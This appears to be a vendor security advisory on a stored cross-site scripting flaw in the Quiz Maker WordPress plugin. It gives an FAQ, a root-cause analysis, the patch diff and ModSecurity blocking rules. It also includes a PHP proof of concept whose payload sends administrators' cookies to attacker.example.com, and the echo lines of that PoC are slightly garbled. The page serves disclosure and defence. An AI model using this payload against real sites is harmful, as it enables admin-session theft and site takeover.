What is CVE-2026-6817?

CVE-2026-6817 is a stored cross-site scripting (XSS) vulnerability found in the Quiz Maker by AYS plugin for WordPress, affecting versions up to 6.7.1.29. This vulnerability allows unauthenticated attackers to inject arbitrary JavaScript code via the ‘rate_reason’ parameter, which can execute when administrators view affected pages.

How does this vulnerability work?

The vulnerability exists due to insufficient input sanitization and output escaping of the ‘rate_reason’ parameter. An attacker can submit a malicious payload through quiz ratings, which is then stored and executed in the context of an administrator’s session when they access the quiz results.

Who is affected by this vulnerability?

Any WordPress site using the Quiz Maker by AYS plugin version 6.7.1.29 or earlier is affected. Administrators who access the quiz results or reviews without applying the patch are at risk of XSS attacks.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Quiz Maker plugin in use. If it is 6.7.1.29 or earlier, your site is susceptible to this vulnerability. Additionally, review any quiz ratings for unusual or unexpected content.

How can I fix this vulnerability?

To fix CVE-2026-6817, update the Quiz Maker plugin to version 6.7.1.30 or later, where the vulnerability has been patched. Regularly check for updates to ensure your plugins are secure.

What is the risk level of this vulnerability?

CVE-2026-6817 has a medium severity rating with a CVSS score of 5.8. This indicates a moderate risk, as it allows unauthenticated attackers to execute scripts that can compromise administrator sessions and potentially lead to further exploitation.

What does the proof of concept demonstrate?

The proof of concept illustrates how an attacker can submit a malicious payload via the ‘rate_reason’ parameter to the quiz submission endpoint. It shows how the payload can be crafted to steal cookies from the administrator’s session when they access the quiz results.

What should I do if I cannot update the plugin immediately?

If you cannot update the plugin immediately, consider disabling the Quiz Maker plugin temporarily to prevent exploitation. Additionally, monitor your site for any suspicious activity and review user-generated content for potential XSS payloads.

How can I prevent similar vulnerabilities in the future?

To prevent similar vulnerabilities, regularly update all plugins and themes, implement a web application firewall, and conduct security audits of your WordPress site. Ensure proper input validation and output escaping practices are followed in custom code.

Where can I find more information about CVE-2026-6817?

More information about CVE-2026-6817 can be found on the National Vulnerability Database (NVD) and security advisories from the plugin developers. Regularly check these resources for updates and security best practices.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : May 4, 2026

CVE-2026-6817: Quiz Maker by AYS <= 6.7.1.29 – Unauthenticated Stored Cross-Site Scripting via 'rate_reason' (quiz-maker)

Q: What are the practical implications of this vulnerability?

If exploited, this vulnerability can allow attackers to steal cookies, modify WordPress settings, create administrative accounts, or exfiltrate sensitive data. The impact can be significant, especially if an attacker gains control over an admin session.

CVE ID CVE-2026-6817

Plugin quiz-maker

Severity Medium (CVSS 5.8)

CWE 79

Vulnerable Version 6.7.1.29

Patched Version 6.7.1.30

Disclosed April 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6817:
The Quiz Maker by AYS plugin for WordPress contains an unauthenticated stored cross-site scripting vulnerability. This affects all versions up to and including 6.7.1.29. The vulnerability exists in the ‘rate_reason’ parameter during quiz rating submission. An unauthenticated attacker can inject arbitrary JavaScript that executes when administrators view the rating.

Root Cause:
The root cause is insufficient input sanitization and output escaping of the ‘rate_reason’ parameter. In the file quiz-maker/public/class-quiz-maker-public.php, the vulnerable code at line 7906-7907 processes the ‘rate_reason’ parameter. The original code used stripslashes() on sanitize_textarea_field() output, which could be bypassed because stripslashes() reversed the sanitization. Additionally, in the display function ays_get_full_reasons_of_rates() at line 7651, the ‘reason’ value was output using stripslashes(nl2br($reason)) without any escaping, allowing stored script execution. The admin list table in class-quiz-maker-all-reviews-list-table.php and class-quiz-maker-results-list-table.php also lacked proper escaping when displaying review content.

Exploitation:
An unauthenticated attacker can exploit this by sending a POST request to the quiz submission endpoint. The vulnerable parameter ‘rate_reason’ accepts arbitrary input. The attacker can submit a payload such as alert(document.cookie) as the value of rate_reason. When an administrator visits the Quiz Maker results or reviews page in the WordPress admin panel, the stored script executes in their browser session. The attacker does not need to be logged in or have any privileges.

Patch Analysis:
The patch addresses two issues. First, in class-quiz-maker-public.php, the vulnerable stripslashes() call was removed, and wp_unslash() is used before sanitize_textarea_field() to properly handle slashes without reversing sanitization. Second, output escaping was added: in ays_get_full_reasons_of_rates(), the reason is now wrapped in esc_html() before being output; in the admin column functions, esc_attr() and esc_html() are applied to user-supplied data. In class-quiz-maker-results-list-table.php, data-html was changed from true to false in the tooltip attribute, preventing HTML execution. The patch converts the stored review text to safe HTML entities throughout all display contexts.

Impact:
Successful exploitation allows unauthenticated attackers to inject arbitrary JavaScript into the WordPress admin panel. This leads to full compromise of the admin session. An attacker can steal cookies, modify WordPress settings, create administrative accounts, or exfiltrate sensitive data. The stored XSS persists until manually removed or the plugin is updated. Because the attacker does not need authentication, this vulnerability is easily exploitable at scale.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/quiz-maker/includes/lists/class-quiz-maker-all-reviews-list-table.php
+++ b/quiz-maker/includes/lists/class-quiz-maker-all-reviews-list-table.php
@@ -606,22 +606,43 @@
      *
      * @return string
      */
+    // function column_review( $item ) {
+
+    //     // Run a security check.
+    //     if (empty($this->ays_quiz_nonce) || ! wp_verify_nonce( $this->ays_quiz_nonce, 'ays_quiz_admin_all_reviews_list_table_nonce' ) ) {
+    //         // This nonce is not valid.
+    //         wp_die( esc_html__( 'Nonce verification failed!', 'quiz-maker' ) );
+    //     }
+
+    //     $column_t = (isset( $item['review'] ) && $item['review'] != '') ? stripcslashes( nl2br( trim($item['review']) ) ) : '';
+    //     $t = esc_attr($column_t);
+
+    //     $review_title_length = intval( $this->title_length );
+
+    //     $restitle = Quiz_Maker_Admin::ays_restriction_string("word", $column_t, $review_title_length);
+
+    //     $title = sprintf( '<span title="%s">%s</span>', $t, $restitle );
+
+    //     return $title;
+    // }
+
     function column_review( $item ) {

-        // Run a security check.
         if (empty($this->ays_quiz_nonce) || ! wp_verify_nonce( $this->ays_quiz_nonce, 'ays_quiz_admin_all_reviews_list_table_nonce' ) ) {
-            // This nonce is not valid.
             wp_die( esc_html__( 'Nonce verification failed!', 'quiz-maker' ) );
         }

-        $column_t = (isset( $item['review'] ) && $item['review'] != '') ? stripcslashes( nl2br( trim($item['review']) ) ) : '';
-        $t = esc_attr($column_t);
+        $column_t = isset( $item['review'] ) && $item['review'] !== '' ? trim( (string) $item['review'] ) : '';

         $review_title_length = intval( $this->title_length );
-
-        $restitle = Quiz_Maker_Admin::ays_restriction_string("word", $column_t, $review_title_length);

-        $title = sprintf( '<span title="%s">%s</span>', $t, $restitle );
+        $restitle = Quiz_Maker_Admin::ays_restriction_string( "word", $column_t, $review_title_length );
+
+        $title = sprintf(
+            '<span title="%s">%s</span>',
+            esc_attr( $column_t ),
+            esc_html( $restitle )
+        );

         return $title;
     }
--- a/quiz-maker/includes/lists/class-quiz-maker-results-list-table.php
+++ b/quiz-maker/includes/lists/class-quiz-maker-results-list-table.php
@@ -781,43 +781,59 @@
     function column_quiz_rate( $item ) {
         global $wpdb;

-        // $delete_nonce = wp_create_nonce( $this->plugin_name . '-delete-result' );
+        $options = json_decode( $item['options'], true );
+        $rate_id = isset( $options['rate_id'] ) ? absint( $options['rate_id'] ) : 0;

-        $options = json_decode($item['options'], true);
-        $rate_id = (isset($options['rate_id'])) ? $options['rate_id'] : null;
-        if($rate_id !== null){
+        if ( $rate_id > 0 ) {
             $margin_of_icon = "style='margin-left: 5px;'";
-            $result = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}aysquiz_rates WHERE id={$rate_id}", "ARRAY_A");
+            $result = $wpdb->get_row(
+                $wpdb->prepare(
+                    "SELECT * FROM {$wpdb->prefix}aysquiz_rates WHERE id = %d",
+                    $rate_id
+                ),
+                ARRAY_A
+            );

-            $res_options = (isset( $result['options'] ) && $result['options'] != '') ? $result['options'] : '';
+            if ( empty( $result ) ) {
+                return '';
+            }
+
+            $res_options = isset( $result['options'] ) ? $result['options'] : '';

-            if($this->isJSON($res_options)){
-                $review_json = json_decode($res_options, true);
-                $review = $review_json['reason'];
-            }elseif($res_options != ''){
-                $review = $res_options;
-            }else{
-                $review = (isset( $result['review'] ) && $result['review'] != '') ? $result['review'] : '';
+            if ( $this->isJSON( $res_options ) ) {
+                $review_json = json_decode( $res_options, true );
+                $review = isset( $review_json['reason'] ) ? (string) $review_json['reason'] : '';
+            } elseif ( $res_options !== '' ) {
+                $review = (string) $res_options;
+            } else {
+                $review = isset( $result['review'] ) ? (string) $result['review'] : '';
             }
-            $reason = htmlentities(stripslashes(wpautop($review)));
-            if($reason == ''){
-                $reason = __("No review provided", 'quiz-maker');
+
+            $reason = trim( $review );
+
+            if ( $reason === '' ) {
+                $reason = __( 'No review provided', 'quiz-maker' );
             }
-            $score = (isset( $result['score'] ) && $result['score'] != '') ? $result['score'] : '';
+
+            $score = isset( $result['score'] ) ? absint( $result['score'] ) : 0;
             $title = '';
-            if ( $score != '' ) {
-                $title = "
-                <span data-result='".absint( $item['id'] )."' class='ays-show-rate-avg'>
-                    $score
-                    <a class='ays_help' $margin_of_icon data-template='<div class="rate_tooltip tooltip" role="tooltip"><div class="arrow"></div><div class="rate-tooltip-inner tooltip-inner"></div></div>' data-toggle='tooltip' data-html='true' title='$reason'><i class='ays_fa ays_fa_info_circle'></i></a>
-                </span>";
+
+            if ( $score > 0 ) {
+                $title = sprintf(
+                    '<span data-result="%1$d" class="ays-show-rate-avg">
+                        %2$s
+                        <a class="ays_help" %3$s data-template="<div class="rate_tooltip tooltip" role="tooltip"><div class="arrow"></div><div class="rate-tooltip-inner tooltip-inner"></div></div>" data-toggle="tooltip" data-html="false" title="%4$s"><i class="ays_fa ays_fa_info_circle"></i></a>
+                    </span>',
+                    absint( $item['id'] ),
+                    esc_html( $score ),
+                    $margin_of_icon,
+                    esc_attr( $reason )
+                );
             }
-        }else{
-            $margin_of_icon = '';
-            $reason = __("No rate provided", 'quiz-maker');
-            $score = '';
-            $title = "";
+        } else {
+            $title = '';
         }
+
         return $title;
     }

--- a/quiz-maker/public/class-quiz-maker-public.php
+++ b/quiz-maker/public/class-quiz-maker-public.php
@@ -7651,48 +7651,60 @@

     protected function ays_get_full_reasons_of_rates($start, $limit, $quiz_id, $zuyga){
         $quiz_rate_reasons = $this->ays_get_reasons_of_rates($start, $limit, $quiz_id);
-        $quiz_rate_html = "";
+        $quiz_rate_html = '';
+
         foreach($quiz_rate_reasons as $key => $reasons){
-            $user_name = !empty($reasons['user_name']) ? "<span>".$reasons['user_name']."</span>" : '';
-            if($this->isJSON($reasons['options'])){
-                $reason = json_decode($reasons['options'], true)['reason'];
-            }elseif($reasons['options'] != ''){
-                $reason = $reasons['options'];
-            }else{
-                $reason = $reasons['review'];
+
+            $user_name = ! empty( $reasons['user_name'] ) ? '<span>' . esc_html( $reasons['user_name'] ) . '</span>' : '';
+
+            if ( $this->isJSON( $reasons['options'] ) ) {
+                $options = json_decode( $reasons['options'], true );
+                $reason  = isset( $options['reason'] ) ? (string) $options['reason'] : '';
+            } elseif ( ! empty( $reasons['options'] ) ) {
+                $reason = (string) $reasons['options'];
+            } else {
+                $reason = isset( $reasons['review'] ) ? (string) $reasons['review'] : '';
             }
-            if(intval($reasons['user_id']) != 0){
-                $user_img = esc_url( get_avatar_url( intval($reasons['user_id']) ) );
-            }else{
-                $user_img = AYS_QUIZ_PUBLIC_URL . "/images/avatar_2x.png";
+
+            if ( intval( $reasons['user_id'] ) !== 0 ) {
+                $user_img = esc_url( get_avatar_url( intval( $reasons['user_id'] ) ) );
+            } else {
+                $user_img = esc_url( AYS_QUIZ_PUBLIC_URL . '/images/avatar_2x.png' );
             }
-            $score = $reasons['score'];
-            $commented = date('M j, Y', strtotime($reasons['rate_date']));
-            if($zuyga == 1){
-                $row_reverse = ($key % 2 == 0) ? 'row_reverse' : '';
-            }else{
-                $row_reverse = ($key % 2 == 0) ? '' : 'row_reverse';
+
+            $score     = absint( $reasons['score'] );
+            $commented = esc_html( date_i18n( 'M j, Y', strtotime( $reasons['rate_date'] ) ) );
+
+            if ( $zuyga == 1 ) {
+                $row_reverse = ( $key % 2 == 0 ) ? 'row_reverse' : '';
+            } else {
+                $row_reverse = ( $key % 2 == 0 ) ? '' : 'row_reverse';
             }
-            $quiz_rate_html .= "<div class='quiz_rate_reasons'>
-                  <div class='rate_comment_row $row_reverse'>
-                    <div class='rate_comment_user'>
-                        <div class='thumbnail'>
-                            <img class='img-responsive user-photo' src='".$user_img."'>
+
+            $quiz_rate_html .= "
+                <div class='quiz_rate_reasons'>
+                    <div class='rate_comment_row " . esc_attr( $row_reverse ) . "'>
+                        <div class='rate_comment_user'>
+                            <div class='thumbnail'>
+                                <img class='img-responsive user-photo' src='" . esc_url( $user_img ) . "' alt=''>
+                            </div>
                         </div>
-                    </div>
-                    <div class='rate_comment'>
-                        <div class='panel panel-default'>
-                            <div class='panel-heading'>
-                                <i class='ays_fa ays_fa_user'></i> <strong>$user_name</strong><br/>
-                                <i class='ays_fa ays_fa_clock_o'></i> $commented<br/>
-                                ".__("Rated", 'quiz-maker')." <i class='ays_fa ays_fa_star'></i> $score
+                        <div class='rate_comment'>
+                            <div class='panel panel-default'>
+                                <div class='panel-heading'>
+                                    <i class='ays_fa ays_fa_user'></i> <strong>" . $user_name . "</strong><br/>
+                                    <i class='ays_fa ays_fa_clock_o'></i> " . $commented . "<br/>
+                                    " . esc_html__( 'Rated', 'quiz-maker' ) . " <i class='ays_fa ays_fa_star'></i> " . esc_html( $score ) . "
+                                </div>
+                                <div class='panel-body'>
+                                    <div>" . nl2br( esc_html( $reason ) ) . "</div>
+                                </div>
                             </div>
-                            <div class='panel-body'><div>". stripslashes(nl2br($reason)) ."</div></div>
                         </div>
                     </div>
-                </div>
-            </div>";
+                </div>";
         }
+
         return $quiz_rate_html;
     }

@@ -7906,7 +7918,8 @@
         $user_phone = isset($_REQUEST['ays_user_phone']) ? esc_sql( sanitize_text_field( $_REQUEST['ays_user_phone'] ) ) : '';
         $score = (isset($_REQUEST['rate_score']) && $_REQUEST['rate_score'] != "") ? esc_sql( absint( sanitize_text_field( $_REQUEST['rate_score'] ) ) ) : 5;
         $rate_date = current_time('mysql'); // For Security // esc_sql( sanitize_text_field( $_REQUEST['rate_date'] ) );
-        $rate_reason = (isset($_REQUEST['rate_reason']) && $_REQUEST['rate_reason'] != "") ? stripslashes( sanitize_textarea_field( $_REQUEST['rate_reason'] ) ) : '';
+        // $rate_reason = (isset($_REQUEST['rate_reason']) && $_REQUEST['rate_reason'] != "") ? stripslashes( sanitize_textarea_field( $_REQUEST['rate_reason'] ) ) : '';
+        $rate_reason = isset($_REQUEST['rate_reason']) ? sanitize_textarea_field( wp_unslash( $_REQUEST['rate_reason'] ) ) : '';

         switch ($score) {
             case "1":
--- a/quiz-maker/quiz-maker.php
+++ b/quiz-maker/quiz-maker.php
@@ -16,7 +16,7 @@
  * Plugin Name:       Quiz Maker
  * Plugin URI:        https://ays-pro.com/wordpress/quiz-maker
  * Description:       Create powerful and engaging quizzes, tests, and exams in minutes. Build an unlimited number of quizzes and questions.
- * Version:           6.7.1.29
+ * Version:           6.7.1.30
  * Author:            Quiz Maker team
  * Author URI:        https://ays-pro.com/
  * License:           GPL-2.0+
@@ -36,8 +36,8 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define( 'AYS_QUIZ_NAME_VERSION', '6.7.1.29' );
-define( 'AYS_QUIZ_VERSION', '6.7.1.29' );
+define( 'AYS_QUIZ_NAME_VERSION', '6.7.1.30' );
+define( 'AYS_QUIZ_VERSION', '6.7.1.30' );
 define( 'AYS_QUIZ_NAME', 'quiz-maker' );

 if( ! defined( 'AYS_QUIZ_BASENAME' ) )

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-6817
# Blocks unauthenticated stored XSS in Quiz Maker by AYS plugin
# Targets the ays_quiz_rate AJAX action with malicious rate_reason parameter

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-6817 Stored XSS in Quiz Maker via rate_reason',severity:'CRITICAL',tag:'CVE-2026-6817',tag:'wordpress',tag:'xss'"
  SecRule ARGS_POST:action "@streq ays_quiz_rate" 
    "chain"
    SecRule ARGS_POST:rate_reason "@rx <script[^>]*>" 
      "t:none,t:lowercase,t:htmlEntityDecode,t:removeNulls,t:compressWhitespace"

# Also block encoded variants
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-6817 Stored XSS via rate_reason (encoded)',severity:'CRITICAL',tag:'CVE-2026-6817',tag:'wordpress',tag:'xss'"
  SecRule ARGS_POST:action "@streq ays_quiz_rate" 
    "chain"
    SecRule ARGS_POST:rate_reason "@rx %3Cscript" 
      "t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6817 - Quiz Maker by AYS <= 6.7.1.29 - Unauthenticated Stored Cross-Site Scripting via 'rate_reason'

$target_url = 'http://example.com'; // Change this to the target WordPress site URL

// The quiz submission endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Malicious JavaScript payload that steals cookies
$payload = '<script>new Image().src="http://attacker.example.com/steal?c="+document.cookie;</script>';

// Find a quiz ID - you may need to adjust this. Try common quiz IDs 1-10.
$quiz_id = 1;

// The action for adding a rate/rating
$action = 'ays_quiz_rate';

// Build the POST data
$post_data = array(
    'action' => $action,
    'quiz_id' => $quiz_id,
    'rate_score' => 5,
    'rate_reason' => $payload,
    'ays_user_name' => 'TestUser',
    'ays_user_email' => 'test@example.com',
    'ays_user_phone' => ''
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_COOKIE, ''); // No authentication needed

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Code: $http_coden";
echo "Response: $responsen";
echo "n[+] Exploit sent. Visit the Quiz Maker admin page to see the stored XSS execute.n";
echo "[+] Payload: $payloadn";

Frequently Asked Questions

What is CVE-2026-6817?
Overview of the vulnerability
CVE-2026-6817 is a stored cross-site scripting (XSS) vulnerability found in the Quiz Maker by AYS plugin for WordPress, affecting versions up to 6.7.1.29. This vulnerability allows unauthenticated attackers to inject arbitrary JavaScript code via the ‘rate_reason’ parameter, which can execute when administrators view affected pages.
How does this vulnerability work?
Mechanism of exploitation
The vulnerability exists due to insufficient input sanitization and output escaping of the ‘rate_reason’ parameter. An attacker can submit a malicious payload through quiz ratings, which is then stored and executed in the context of an administrator’s session when they access the quiz results.
Who is affected by this vulnerability?
Identifying vulnerable users
Any WordPress site using the Quiz Maker by AYS plugin version 6.7.1.29 or earlier is affected. Administrators who access the quiz results or reviews without applying the patch are at risk of XSS attacks.
How can I check if my site is vulnerable?
Steps to verify vulnerability
To check if your site is vulnerable, verify the version of the Quiz Maker plugin in use. If it is 6.7.1.29 or earlier, your site is susceptible to this vulnerability. Additionally, review any quiz ratings for unusual or unexpected content.
How can I fix this vulnerability?
Applying the patch
To fix CVE-2026-6817, update the Quiz Maker plugin to version 6.7.1.30 or later, where the vulnerability has been patched. Regularly check for updates to ensure your plugins are secure.
What is the risk level of this vulnerability?
Understanding severity
CVE-2026-6817 has a medium severity rating with a CVSS score of 5.8. This indicates a moderate risk, as it allows unauthenticated attackers to execute scripts that can compromise administrator sessions and potentially lead to further exploitation.
What are the practical implications of this vulnerability?
Potential impact on WordPress sites
If exploited, this vulnerability can allow attackers to steal cookies, modify WordPress settings, create administrative accounts, or exfiltrate sensitive data. The impact can be significant, especially if an attacker gains control over an admin session.
What does the proof of concept demonstrate?
Example of exploitation
The proof of concept illustrates how an attacker can submit a malicious payload via the ‘rate_reason’ parameter to the quiz submission endpoint. It shows how the payload can be crafted to steal cookies from the administrator’s session when they access the quiz results.
What should I do if I cannot update the plugin immediately?
Mitigation strategies
If you cannot update the plugin immediately, consider disabling the Quiz Maker plugin temporarily to prevent exploitation. Additionally, monitor your site for any suspicious activity and review user-generated content for potential XSS payloads.
How can I prevent similar vulnerabilities in the future?
Best practices for security
To prevent similar vulnerabilities, regularly update all plugins and themes, implement a web application firewall, and conduct security audits of your WordPress site. Ensure proper input validation and output escaping practices are followed in custom code.
Where can I find more information about CVE-2026-6817?
Resources for further reading
More information about CVE-2026-6817 can be found on the National Vulnerability Database (NVD) and security advisories from the plugin developers. Regularly check these resources for updates and security best practices.

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